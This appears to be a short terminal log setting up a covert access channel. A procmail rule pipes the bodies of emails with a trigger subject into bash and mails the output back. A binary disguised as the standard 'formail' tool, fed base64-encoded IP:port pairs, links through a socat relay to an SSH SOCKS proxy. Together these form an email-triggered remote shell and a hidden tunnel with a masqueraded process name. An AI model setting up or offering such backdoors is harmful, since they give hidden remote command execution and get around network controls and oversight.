$ cat .procmailrc
LOGFILE=$HOME/procmail.log
SHELL=/usr/local/bin/bash
VERBOSE=off
:0 b
* ^From.*([email protected]|[email protected])
* ^Subject:.*TestX
| bash 2>&1 | mail -s testOK [email protected]
:0c
! [email protected]
$ bin/formail
Usage: ./formail <anything> <base64(SrcIp:port)> <base64(DstIp:port)>
or environment variable is needed
[rob@s34]:<~>$ socat tcp-listen:3690,reuseaddr,fork,nodelay tcp-listen:3691,reuseaddr,fork,nodelay
[rob@s34]:<~>$ echo formail -X:Message-Id MjEyLjE5MS44OS4yOjIy OTEuMTg1LjE4Ni40MzozNjkw | mail -s TestX rnowotniak@xxxxxx
ssh -D 8081 -p 3691 rnowotn@s34
Password for rnowotn@xxxxxx:
Last login: Sun Jan 24 23:17:20 2021 from .............
[rnowotn@xxxxx ~]$ _
[rnowotn@xxxxxxx ~]$ ps x
PID TT STAT TIME COMMAND
50069 - S 0:01,47 formail -X:Message-Id MjEyLjE5MS44OS4yOjIy OTEuMTg1LjE4Ni40
52718 - S 0:00,01 sshd: rnowotn@pts/1 (sshd)
32209 1 R+ 0:00,00 ps x
53207 1 Ss 0:00,01 -bash (bash)